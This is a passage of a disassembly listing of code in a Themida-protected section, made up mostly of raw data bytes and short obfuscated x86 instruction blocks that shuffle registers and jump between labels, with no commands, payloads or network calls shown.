		dd 5FFFFF4Bh, 0F281D2F7h, 80008815h, 835AD101h,	0EC8304E9h
		dd 240C8904h, 42474FFh,	0FF79CFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565271:				; CODE XREF: Themida_:0055F542j
		xchg	edi, [esp]
		not	edi
		xchg	edi, [esp]
		push	dword ptr [esp]
		jmp	loc_557BF4
; ---------------------------------------------------------------------------
		db 89h,	2 dup(24h)
		dd 4240481h, 8B000000h,	0C483242Ch, 6D576804h, 39E90000h
		dd 68000015h, 10A7h, 0BD242C89h, 4, 0FECDA7E9h,	0C4815EFFh
		dd 4, 5324348Bh, 0AB7CE954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5652BE:				; CODE XREF: Themida_:0055A675j
		pop	ebp
		and	ecx, eax
		pop	eax
		shr	ecx, 7
		sub	esp, 4
		jmp	loc_55ED89
; ---------------------------------------------------------------------------
		db 5Bh,	0E9h, 0B4h
		dd 5EFFFFFCh, 0FFD51EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5652D9:				; CODE XREF: Themida_:00561E0Ej
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], ebp
		jmp	loc_55A1A7
; ---------------------------------------------------------------------------
		db 53h
		dd 0A2A66668h, 0E9815B4Bh, 389A5204h, 0C181D901h, 389A5204h
		dd 0E9CD895Bh, 0FFFECDC3h
; ---------------------------------------------------------------------------

loc_565308:				; CODE XREF: Themida_:00557EEEj
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		sub	ecx, ebp
		push	ebp
		mov	ebp, 6FFD27DAh
		add	ecx, ebp
		pop	ebp
		pop	ebp
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [edi+eax*4]
		push	ebx
		jmp	loc_551E08
; ---------------------------------------------------------------------------

loc_565331:				; CODE XREF: Themida_:0056422Dj
		mov	edi, 58155260h
		jmp	loc_55EA61
; ---------------------------------------------------------------------------
		db 68h
		dd 24h,	3B106858h, 0FCE90000h
		db 23h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56534B:				; CODE XREF: Themida_:0055E9D3j
		add	edi, 4
		add	edi, 4
		jmp	loc_55FA9A
; ---------------------------------------------------------------------------
		db 0B4h, 2Fh, 80h
		dd 0E4D046E4h, 0FF620AE9h, 5DEB31FFh, 496368h, 24048900h
		dd 220F1AB8h, 4FF502Bh,	72E924h, 34FFFFFFh, 714DE924h
		dd 8F5DFFFFh, 248B2404h, 0C8B60F24h, 56C868h, 240C8900h
		dd 0FEC14EE9h, 4EC83FFh, 24048F54h, 4BD55h, 6C010000h
		dd 8B5D0424h, 0C4812414h, 4, 4C281h, 68510000h,	498Dh
		dd 0FFE0B7E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5653C9:				; CODE XREF: Themida_:0055E00Bj
		sub	bl, al
		add	bl, 95h
		add	bl, 90h
		jmp	loc_564B06
; ---------------------------------------------------------------------------

loc_5653D6:				; CODE XREF: Themida_:00552384j
		mov	edi, [esp]
		add	esp, 4
		pop	eax
		push	7Dh
		mov	[esp], ebx
		mov	ebx, 0AB91301h
		sub	dword ptr [esp+8], 52DE5F55h
		sub	[esp+8], ebx
		push	edi
		push	esi
		mov	esi, 5B500489h
		mov	edi, 0F78E5ACCh
		add	edi, esi
		pop	esi
		add	[esp+0Ch], edi
		jmp	loc_55B4DF
; ---------------------------------------------------------------------------
word_56540E	dw 8B66h		; DATA XREF: Themida_:005512D0o
		dd 52572404h, 0C281E289h, 4, 4EA81h, 13E90000h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565427:				; CODE XREF: Themida_:00559E71j
		add	edi, 7FCB3825h
		add	edi, 23FB4327h
		jmp	loc_5646ED
; ---------------------------------------------------------------------------

loc_565438:				; CODE XREF: Themida_:005599C7j
		push	edi
		jmp	loc_562C31
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 0BD19E924h, 48FFFFFh, 6B685C24h, 0E9000065h,	0FFFF4CFEh
; ---------------------------------------------------------------------------

loc_565454:				; CODE XREF: Themida_:0055BB2Fj
		add	ecx, 5B8F224Ch
		add	ecx, eax
		sub	ecx, 5B8F224Ch
		pop	eax
		sub	ecx, 4
		xor	ecx, [esp]
		jmp	loc_554C1F
; ---------------------------------------------------------------------------
byte_565471	db 8Bh,	0Ch, 24h	; DATA XREF: Themida_:005513F4o
		dd 3C8B5457h, 4C48124h,	0E9000000h, 0FFFFF335h,	66C0B60Fh
		dd 5724148Bh, 50565F54h, 0C22542B8h, 0FAF8E96Ah, 0C9FEFFFFh
		dd 5349E180h, 0F93005B7h, 59C8285Bh, 0C04C828h,	0E956B753h
		dd 0FFFF37F7h, 4E16CD81h, 0E3E9078Ch, 1FFFF7Bh,	0E98BE9CAh
		dd 0C381FFFEh, 0F0A53243h, 0E95B5D53h, 0FFFF13FCh, 4A06E2C1h
		dd 0FFD1E2E9h, 4C483FFh, 7E3968h, 240C8900h, 0E41EB5B9h
		dd 59CB016Eh, 3CB4C381h, 0FB01489Eh, 0FF7B32E9h, 5DD905FFh
		dd 2D5A416Bh, 4, 7D2768h, 24048900h, 42474FFh, 24048F58h
		dd 2414895Ch, 0EFBBE954h, 0F580FFFEh, 8BE8202Dh, 0C483240Ch
		dd 0B0505204h, 8E8C0E0h, 0FF04C0FEh, 8070B252h,	0EAC08AE2h
		dd 7BC28003h, 5185E280h, 0CDFE1BB5h, 0ED80D5F6h, 28ED809Ch
		dd 0E9DAF580h, 0FFFF9045h, 3A3C68h, 24348900h, 4C868h
		dd 48F5400h, 24048124h,	4, 5224348Bh, 0C281E289h, 4, 8704C283h
		dd 248B2414h, 0E8E95324h
		db 0D6h, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56558F:				; CODE XREF: Themida_:0055C0BAj
		pop	esp
		mov	ebp, [esp]
		jmp	loc_55540E
; ---------------------------------------------------------------------------

loc_565598:				; CODE XREF: Themida_:00551D15j
		sub	esi, eax
		pop	eax
		jmp	loc_5661C9
; ---------------------------------------------------------------------------
		dd 4C481h, 0C7800000h, 80CF2806h, 0EF8006EFh, 240C8B9Ch
		dd 4C481h, 12040000h, 122CF828h, 83241C8Bh, 0EC8304C4h
		dd 24048904h, 0E956E089h, 0FFFF669Ah
; ---------------------------------------------------------------------------

loc_5655D4:				; CODE XREF: Themida_:00565FD4j
		add	edx, edi
		add	edx, 0EB14015h
		pop	edi
		sub	edx, 68666844h
		or	eax, edx
		jmp	loc_55D270
; ---------------------------------------------------------------------------
word_5655EA	dw 34FFh		; DATA XREF: Themida_:005512C4o
		dd 99E95824h, 8BFFFFCCh, 0C481240Ch, 4,	0EDE9EF01h, 5FFFFF4Bh
		dd 4EC815Eh, 89000000h,	0CABD242Ch, 51165643h, 0D81D51B9h
		dd 72F1816Ah, 0C13D3701h, 0F18102E9h, 22BF5A85h, 6A90E981h
		dd 0E1C12FDAh, 1FF18103h, 0E97036ABh, 930h, 24048F5Bh
		dd 8924248Bh, 0FF542414h, 148B2434h, 1C796824h,	5E90000h
		dd 5DFFFFC2h, 0C7FEF81h, 0F8297254h, 0FF7A0AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565665:				; CODE XREF: Themida_:0055CDC2j
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		jmp	loc_556D2E
; ---------------------------------------------------------------------------
		dw 0EB89h
		dd 0EC83555Dh, 24148904h, 0FF1010E9h, 367868FFh, 2C890000h
		dd 3CE1BD24h, 0EA094F4Bh, 431E95Dh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56569A:				; CODE XREF: Themida_:00560310j
		dec	cl
		shr	cl, 7
		not	cl
		push	edx
		mov	dl, 0DBh
		shr	dl, 7
		add	dl, 1
		add	dl, 47h
		shr	dl, 5
		or	dl, 68h
		add	dl, 0B3h
		jmp	loc_55D2F3
; ---------------------------------------------------------------------------
		db 5Bh
		dd 815B5453h, 4C3h, 4C38300h, 0FF3564E9h, 0C5685AFFh, 89000014h
		dd 0BB53243Ch, 130C22F7h, 1B14C381h, 0EBD13531h, 84F38143h
		dd 895F829Ah, 5BE95BDFh, 0B8FFFEF7h, 1D546295h,	8904EC83h
		dd 3BF243Ch, 100167Ah, 0C1015FF9h, 7A03E981h, 48B0016h
		dd 4C48324h, 0D19E981h,	0F1296654h, 0D19BD55h, 0E9016654h
		dd 95E9815Dh, 8B1D5462h, 0C4832434h, 7AC18104h,	13A560Bh
		dd 0C922E9F9h, 0EC83FFFFh, 243C8904h, 14DD9BFh,	2C815773h
		dd 0CC19F124h, 240C8B61h, 4EC81h, 14890000h, 81E28924h
		dd 4C2h, 0D21BE900h, 3C89FFFEh,	9593E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565772:				; CODE XREF: Themida_:005579CCj
		xor	ecx, ebp
		jmp	loc_55C0BF
; ---------------------------------------------------------------------------
		db 87h,	14h, 24h
		dd 0EC81515Ch, 4, 89243489h, 1E6EE9E6h,	5043FFFFh, 0AA557DB8h
		dd 30E52D0Ch, 27352218h, 3513E516h, 5F103090h, 508E8C1h
		dd 7A4BF7AAh, 3158C301h, 81565BDEh, 14A2242Ch, 815B76FBh
		dd 0FB14A2C3h, 0EBC15E76h, 26996805h, 0F6E90000h, 83FFFFDDh
		dd 0C8904ECh, 5096B124h, 0E688CC88h, 0C6805958h, 0F897E9FFh
		dd 0E389FFFEh, 4C381h, 0C3830000h, 0C670E904h, 0D4F6FFFEh
		dd 0F280E286h, 0A91EE984h
		db 2 dup(0FFh)
word_565802	dw 77FFh		; DATA XREF: Themida_:0055122Co
		dd 59669D1Ch, 9C2414D3h, 0FEBCDAE9h, 68CA81FFh,	522AD33Fh
		dd 44E9E955h, 34FFFFFFh, 0E8E95824h, 80FFFFB1h,	0C628A3EEh
		dd 0FFE106E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565831:				; CODE XREF: Themida_:0055F23Bj
		pop	ecx
		add	edi, 3E5D10B6h
		sub	edi, esi
		sub	edi, 3E5D10B6h
		pop	esi
		sub	edi, 0FC1049D1h
		jmp	loc_563298
; ---------------------------------------------------------------------------
		dd 5C24048Fh, 0FF31CBE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565855:				; CODE XREF: Themida_:005570F5j
		sub	edx, 700E79EAh
		pop	eax
		add	edi, edx
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		xchg	edi, [esp]
		jmp	loc_5582F8
; ---------------------------------------------------------------------------
		dw 0EC86h
		dd 0EC30D5F6h, 0EC30E530h, 0E910F480h, 0FFFFE8CCh, 0F988BBB7h
		dd 59CB005Bh, 0FBC5E950h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_5658A2:				; CODE XREF: Themida_:0055ED8Cj
		push	dword ptr [esp]
		pop	eax
		push	edx
		jmp	loc_552FF6
; ---------------------------------------------------------------------------
		dd 51E38953h, 4B9h, 59CB0100h, 4C381h, 1C870000h, 37E95C24h
		dd 68FFFECAh, 5309h, 0BD242C89h, 7322DE32h, 2C8BE989h
		dd 0E0895024h, 0FF0821E9h, 9BB951FFh, 0C124023Eh, 0F7E902E9h
		dd 0C0FFFEF6h, 0C9FE03E9h, 0FFD9F3E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5658F9:				; CODE XREF: Themida_:0055A938j
		add	ecx, 168519B9h
		add	ecx, 4F380B87h
		jmp	loc_554841
; ---------------------------------------------------------------------------
		dw 0DE30h
		dd 0FEBD7FE9h
		db 0FFh
aNh		db '╜hм<',0             ; DATA XREF: Themida_:005512E4o
		dw 0E900h
		dd 0FFFEF41Fh, 2C56866h, 241C8966h, 0FFB09AE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565929:				; CODE XREF: Themida_:0055EBA6j
		neg	ebp
		xor	ebp, 6F692B84h
		or	ebp, 1BAD3B34h
		sub	ebp, 0BFADFFBAh
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		pop	esp
		push	18E1h
		mov	[esp], esi
		push	1B45h
		mov	[esp], edi
		jmp	loc_55C178
; ---------------------------------------------------------------------------

loc_565959:				; CODE XREF: Themida_:00560D61j
		mov	edi, 6BCF11F4h
		or	edi, 6F233EC4h
		xor	edi, 3F136057h
		add	edi, 44720DFh
		jmp	loc_555D78
; ---------------------------------------------------------------------------

loc_565975:				; CODE XREF: Themida_:005540C9j
		xor	ecx, edi
		jmp	loc_56317E
; ---------------------------------------------------------------------------

loc_56597C:				; CODE XREF: Themida_:0055CB7Dj
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 503160FCh
		push	0
		sub	[esp], ebx
		pop	ebx
		jmp	loc_558DBD
; ---------------------------------------------------------------------------
		dd 5A66F528h, 80B0B252h, 0D6E906CAh, 29FFFF53h,	0FC45E9CFh
		dd 2C8BFFFFh, 4C48324h,	8304C483h, 515504C4h, 514CB9B9h
		dd 9506BD47h, 0CD2957FBh, 68515659h, 31AE5111h,	81240C8Bh
		dd 4C4h, 0E1814100h, 53045EF8h,	5BFCE181h, 0E9812601h
		dd 0F7430B7Fh, 24348151h, 330D53E1h, 0FF9F43E9h, 241C8BFFh
		dd 4C481h, 0C8280000h, 6859B02Ch, 248Eh, 0B2241489h, 0FFEA80CEh
		dd 0E280DAF6h, 0DEB05046h, 0E952C8FEh, 0FFFEE65Bh, 2959CB89h
		dd 0D8295EF3h, 0FFE885E9h, 28ECB9FFh, 0CE2948ABh, 81240C8Bh
		dd 4C4h, 24048B00h, 4C481h, 34870000h, 24248B24h, 9C240CFEh
		dd 0FEBA92E9h, 1C6F21FFh, 7D0AE95Dh
		db 2 dup(0FFh)
word_565A62	dw 74FFh		; DATA XREF: Themida_:00551308o
		dd 0EAE90424h
		db 3, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_565A6B:				; CODE XREF: Themida_:005603C1j
		sub	esp, 4
		jmp	loc_55389B
; ---------------------------------------------------------------------------

loc_565A73:				; CODE XREF: Themida_:00558837j
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	7F7Fh
		mov	[esp], esi
		jmp	loc_5598EE
; ---------------------------------------------------------------------------
		dd offset dword_40E6F0+78h
		dd 24348900h, 0A6141568h, 2434FF2Ch, 8324348Bh,	0C48304C4h
		dd 2DC68104h, 89E747FFh, 89505EF1h, 8BC589C8h, 89562404h
		dd 0DEB4E9E6h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565ABA:				; CODE XREF: Themida_:005605F7j
		xor	[esp], esi
		pop	edx
		add	edx, 0DD43B763h
		add	eax, edx
		pop	edx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_563C1A
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 81240C8Bh, 4C4h, 4EC8300h, 0E9243489h, 0B45h, 0C580E528h
		dd 614FE9DFh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565AF6:				; CODE XREF: Themida_:00553161j
		pop	ebx
		mov	edx, 13AB08F4h
		push	edi
		mov	edi, 5FE101CFh
		and	edi, 38525968h
		add	edi, 1F0796Ch
		add	edx, edi
		mov	edi, [esp]
		jmp	loc_563449
; ---------------------------------------------------------------------------
		dd 3C385668h, 242C8B47h, 8104C483h, 2620B9EDh, 16CD8175h
		dd 0F7346C31h, 0D3D1E9D5h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_565B36:				; CODE XREF: Themida_:0055C711j
		xor	[esp], edi
		not	edi
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	ebx
		jmp	loc_55564F
; ---------------------------------------------------------------------------

loc_565B4A:				; CODE XREF: Themida_:0055D282j
		shr	eax, 8
		xor	eax, 3C2CAC09h
		add	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_559A4F
; ---------------------------------------------------------------------------
		db 2Dh
		dd 4, 0EE4CE950h, 0C301FFFFh, 8B2434FFh, 0C4812404h, 4
		dd 566B68h, 243C8900h, 4EC81h, 8F540000h, 4832404h, 505F0424h
		dd 4EC81h, 44E90000h, 89FFFEEDh, 33E92434h, 1FFFFB7h, 0CF8958C1h
		dd 5E7E9h, 85B95100h, 29027864h, 0BD5559CAh, 68444268h
		dd 83CBF57h, 0EA813D79h, 200F4B1Ah, 0FFD1C6E9h,	0B7E980FFh
		dd 80E9D1F6h, 29FFFF73h, 0E95D5EF7h, 0FFFEF542h, 4BFh
		dd 5FF88900h, 545AEF81h, 0F1E92A51h, 1FFFEE9h, 0E5C781CFh
		dd 5947F12Dh, 0FFD8AFE9h, 0B55166FFh, 0E952661Bh, 0FFFF4060h
; ---------------------------------------------------------------------------

loc_565C10:				; CODE XREF: Themida_:00559919j
		pop	ecx
		jmp	loc_55CC8D
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 3C6EB850h, 0F0E966E8h
		db 0C2h, 0FEh, 0FFh
byte_565C27	db 66h			; DATA XREF: Themida_:00551210o
		dd 6824048Bh, 654Ch, 81243489h,	4ECh, 24248900h, 4BA52h
		dd 0EE90000h, 81FFFEF2h, 8C5185CBh, 1C38133h, 0F7000000h
		dd 89E950D3h
		db 0CEh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_565C5B:				; CODE XREF: Themida_:0055B5E0j
		sub	ebx, 3334258Bh
		jmp	loc_55761B
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 5DEB0104h, 4BD5552h,	89000000h, 2434FFEAh, 4C4835Dh
		dd 685AD301h, 674Eh, 0FF241C89h, 5B042474h, 0E924048Fh
		dd 0FFFFF53Eh, 1343E981h, 0CA311B52h, 0FF5554E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565CA1:				; CODE XREF: Themida_:0055C6CCj
		sub	esp, 4
		jmp	loc_551F06
; ---------------------------------------------------------------------------

loc_565CAC:				; CODE XREF: Themida_:005623BCj
		push	eax
		push	787Dh
		mov	[esp], edx
		mov	dh, bl
		mov	ah, dh
		mov	edx, [esp]
		push	ebx
		jmp	loc_55ECB4
; ---------------------------------------------------------------------------

loc_565CC2:				; CODE XREF: Themida_:0055CBBEj
		mov	edx, 63D50A06h
		and	edx, 22215A34h
		neg	edx
		jmp	loc_566A32
; ---------------------------------------------------------------------------
		dd 0E657EABAh, 38DBE97Ah, 1489FFFFh, 815A5424h,	4C2h, 0F147E900h
		db 2 dup(0FFh)
word_565CEE	dw 8B66h		; DATA XREF: Themida_:00551438o
		dd 8152240Ch, 4ECh, 48F5400h, 24048124h, 4, 4C2815Ah, 57000000h
		dd 4BFh, 5FFA2900h, 4EC81h, 0AAE90000h,	89FFFECEh, 0E954242Ch
		dd 0FFFF6342h
; ---------------------------------------------------------------------------

loc_565D28:				; CODE XREF: Themida_:00559B19j
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_559683
; ---------------------------------------------------------------------------

loc_565D38:				; CODE XREF: Themida_:0055811Dj
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		push	0EC3h
		mov	[esp], ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		xor	esi, 4C026E91h
		push	ecx
		mov	ecx, esi
		mov	eax, ecx
		pop	ecx
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		push	ebx
		push	esi
		push	6EF76EA4h
		pop	esi
		dec	esi
		add	esi, 91089161h
		mov	ebx, esi
		pop	esi
		push	edi
		mov	edi, 0C803E51h
		add	ecx, edi
		mov	edi, [esp]
		add	esp, 4
		add	ecx, ebx
		jmp	loc_55D9A9
; ---------------------------------------------------------------------------
		dw 487h
		dd 0C895C24h, 458BB924h, 0A4E914A6h, 50FFFFD5h,	42474FFh
		dd 5324048Bh, 0C381E389h, 4, 4C381h, 0E5E90000h, 83FFFFCCh
		dd 0C78104C4h, 67315E1Dh, 0FF6E06E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565DD9:				; CODE XREF: Themida_:00554C5Bj
		shr	eax, 12h
		jmp	loc_560BD6
; ---------------------------------------------------------------------------

loc_565DE1:				; CODE XREF: Themida_:005561A8j
		push	ebx
		jmp	loc_55AEC8
; ---------------------------------------------------------------------------
		db 52h
		dd 2215BE56h, 0F2892722h, 0A9BE565Eh, 217A8126h, 6D9E9F2h
		dd 1BD0000h, 0E9000000h, 0FFFFC75Ah, 8107E6C1h,	260246C6h
		dd 0B8EE8163h, 31D894F5h, 0DE10E9F0h, 0BA52FFFFh, 6D1C4E4Dh
		dd 0FF441CE9h, 4C481FFh, 81000000h, 0DB7189EDh,	8EDC14Dh
		dd 776168h, 243C8900h, 0FF2B26E9h
		db 0FFh
byte_565E45	db 0FFh, 77h, 1Ch	; DATA XREF: Themida_:005512B8o
		dd 0D259669Dh, 0E99C2414h, 0FFFEB697h, 55D7CF81h, 7E68371Dh
		dd 89000052h, 5B82404h,	0E9C8A08Ah, 0FFFFAA87h,	0E924048Fh
		dd 0FFFFDFCEh
dword_565E74	dd 582434FFh, 517E68h, 2AC8E900h, 8158FFFFh, 4C4h, 3C055800h
					; DATA XREF: Themida_:005512B0o
		dd 6634895Ch, 54E930FFh
		db 0B6h, 0FEh, 0FFh
byte_565E97	db 0FFh			; DATA XREF: Themida_:00551454o
		dd 0B64DE932h, 1489FFFEh, 2474FF24h, 48F5A04h, 0AEE95C24h
		db 0BFh, 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_565EAF:				; CODE XREF: Themida_:0055B402j
		push	small 2E7Ah
		mov	[esp], dx
		mov	dh, 1
		add	al, dh
		pop	dx
		jmp	loc_56492C
; ---------------------------------------------------------------------------
		dw 1489h
		dd 0AE685524h, 5D082268h, 12DDED81h, 0EDE96BF9h, 5DFFFF4Eh
		dd 24FE9h, 20E18100h, 0C148120Ch, 0E95706E9h, 0FFFFB5DBh
		dd 31241433h, 14332414h, 0C4835C24h, 4EC8104h, 89000000h
		dd 58E92404h, 5BFFFF5Bh, 2959C801h, 738A2DD0h, 2D5A3E0Ah
		dd 14721E62h, 9E9E801h,	0B9FFFF68h, 277D1CF8h, 0E95EF131h
		dd 0FFFFFEF2h
; ---------------------------------------------------------------------------

loc_565F2C:				; CODE XREF: Themida_:00553D6Cj
		neg	edx
		jmp	loc_55E171
; ---------------------------------------------------------------------------

loc_565F33:				; CODE XREF: Themida_:0055A45Ej
		mov	eax, 5CE2118Bh
		mov	esi, eax
		jmp	loc_55F134
; ---------------------------------------------------------------------------
		db 0B7h
		dd 0B42FE9A2h, 0B850FFFFh, 5704372Dh, 126A8635h, 1A862D1Eh
		dd 0C529325Fh, 5DEA0158h, 0E31E9h, 24048B00h, 0E904C483h
		dd 0FFFF282Ch, 443BBB53h, 0D38708D8h, 3AE9D2F7h, 81FFFF6Bh
		dd 611DD4C1h, 74E97Ch, 57BE0000h, 81204847h, 1B33EACEh
		dd 0C2F6812Bh, 0C14A1A4Dh, 814603E6h, 0F62E1BC6h, 67C6E9F5h
		dd 0EA81FFFFh, 251E2F6Dh, 7E283E05h, 2DD0012Fh,	2F7E283Eh
		dd 0FF8151E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_565FBD:				; CODE XREF: Themida_:0055EAB3j
		pop	eax
		jmp	loc_5619BA
; ---------------------------------------------------------------------------

loc_565FC3:				; CODE XREF: Themida_:00555E27j
		mov	edx, 0EC95C42h
		push	edi
		mov	edi, 672F2BDBh
		sub	edx, 0EB14015h
		jmp	loc_5655D4
; ---------------------------------------------------------------------------
		db 89h,	2Ch, 24h
		dd 4BDh, 8BE88900h, 0C483242Ch,	82C58104h, 81086F6Bh, 0C34053EDh
		dd 0DC3CE958h, 0E9D1FFFEh, 0A099E981h, 1DE92E6Fh, 0BBFFFFFAh
		dd 63F4284h, 2D5BD829h,	0E3B273Bh, 7C0568h, 0B684E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56601E:				; CODE XREF: Themida_:00556FCCj
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 6204765Ch
		shl	ecx, 3
		jmp	loc_557610
; ---------------------------------------------------------------------------
		dw 9CBAh
		dd 0F721A60Dh, 0F28142D2h, 0D2D95C94h, 895AD329h, 90BBE9D9h
		db 2 dup(0FFh)
word_56604A	dw 31ADh		; DATA XREF: Themida_:00551228o
		dd 0E64EE9D8h, 348BFFFFh, 4B0CE924h
		db 2 dup(0FFh)
word_56605A	dw 8B66h		; DATA XREF: Themida_:005513E8o
		dd 6857240Ch, 22E5h, 83242489h,	8B042404h, 0C481243Ch
		dd 4, 4C781h, 0D1680000h, 89000012h, 0E2BE2434h, 8120D800h
		dd 7B0E7AF6h, 84B85069h, 40581A31h, 6F4DFC35h, 58C60923h
		dd 67C568h, 242C8900h, 0FF490EE9h
		db 0FFh
byte_5660A9	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:005513D4o
		dd 5B545324h, 0FEFA8DE9h, 0CAFE5CFFh, 0A5E95251h, 81FFFEB7h
		dd 276925C5h, 50525B02h, 686ADA68h, 40405851h, 0CAD9BB53h
		dd 89E904BAh, 56FFFF2Bh, 6DA1BE66h, 7EF68166h, 0F0296607h
		dd 0B62D665Eh, 0C8B661Ah, 20E96824h, 27E90000h,	0FFFF9Dh
		dd 0C82858C1h, 660E0459h, 36B75352h, 0EA800AB2h, 80FA0056h
		dd 2C5B56C2h, 4D02835h,	515A6635h, 0D604EEB5h, 0D62CE828h
		dd 0E92434FFh, 0FFFF5EC1h, 5551C801h, 96546BBDh, 0B50CB93Eh
		dd 70E9BDBDh
		db 0D2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56613F:				; CODE XREF: Themida_:0055F024j
		add	ebx, 1
		sub	ebx, 5D220849h
		jmp	loc_55B15D
; ---------------------------------------------------------------------------

loc_566150:				; CODE XREF: Themida_:0055D66Ej
		sub	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_55F345
; ---------------------------------------------------------------------------

loc_566162:				; CODE XREF: Themida_:005597ADj
		mov	[esp], ebp
		push	esp
		pop	ebp
		push	edi
		push	esi
		jmp	loc_55FF23
; ---------------------------------------------------------------------------

loc_56616E:				; CODE XREF: Themida_:00557B27j
		mov	edi, 2F4E0BE0h
		sub	edi, 4707422Fh
		not	edi
		jmp	loc_55FF7C
; ---------------------------------------------------------------------------

loc_566180:				; CODE XREF: Themida_:00551892j
		xchg	ebx, [esp]
		not	ebx
		xchg	ebx, [esp]
		jmp	loc_560B2A
; ---------------------------------------------------------------------------
		align 2
		dw 4D8h
		dd 0E9072C36h, 0FFFF29D5h, 0E9240C8Bh, 0FFFF5C50h, 4C481h
		dd 2680000h, 89000031h,	2B82404h, 29000000h, 3C8758C7h
		dd 0EC815C24h, 2, 24248966h, 0FED871E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5661C9:				; CODE XREF: Themida_:0056559Bj
		sub	eax, esi
		pop	esi
		jmp	loc_55CDBF
; ---------------------------------------------------------------------------
byte_5661D1	db 0ADh, 0E9h, 0D8h	; DATA XREF: Themida_:005513E4o
		dd 5EFFFF39h, 5B243C87h, 4C26E381h, 0F381576Eh,	6B2A1C19h
		dd 519568h, 10E9E900h, 74FFFFFFh, 0E95B0424h, 0FFFF1BC6h
		dd 8B241433h, 148B2424h, 4EC8124h, 89000000h, 0E789243Ch
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 83242C89h,	56E904ECh
		db 0F0h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56622B:				; CODE XREF: Themida_:00558ACAj
		pop	eax
		pop	ebp
		push	edx
		push	esp
		pop	edx
		jmp	loc_55E0E4
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 2434FF04h, 0E2895258h, 0FF0BAEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_566245:				; CODE XREF: Themida_:0055700Cj
		push	10DDh
		mov	[esp], ebx
		jmp	loc_5628B6
; ---------------------------------------------------------------------------
		dw 0C783h
		dd 243C8704h, 0B252665Ch, 66D30076h, 5BD8305Ah,	2CAD6866h
		dd 241C8966h, 881CB151h, 240C8BCFh, 5304C483h, 50664BB7h
		dd 0E904EC83h, 0FFFF5E42h
; ---------------------------------------------------------------------------

loc_566284:				; CODE XREF: Themida_:00556610j
		xor	ebp, [esp]
		pop	esp
		shl	eax, 8
		shl	eax, 2
		push	ebp
		push	edi
		push	3D881481h
		pop	edi
		jmp	loc_560DDD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 34FF2424h, 2434FF24h, 0FCE95058h, 0E9FFFF30h, 0FFFEB23Bh
		dd 0FE31F731h, 0D6F7F731h, 0FE31F731h, 0FF57F731h, 555F2404h
		dd 9257B850h, 0C589E5CAh, 0A5BA5258h, 87055F77h, 87D6F7F2h
		dd 2BF281F2h, 298326EBh, 0EF295AD7h, 0FEC0A0E9h, 0C3815BFFh
		dd 4, 6467BE56h, 0C68138C5h, 22FA458Bh,	5610C681h, 0F301A440h
		dd 0E924348Bh, 0FFFF7645h, 4D9CE681h, 0EE8137F4h, 0C481DA50h
		dd 815EF789h, 0FFFFFFC7h, 0D7E955FFh, 8FFFFFFAh, 895C2404h
		dd 74FF2414h, 0E7E90424h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_566337:				; CODE XREF: Themida_:0055B243j
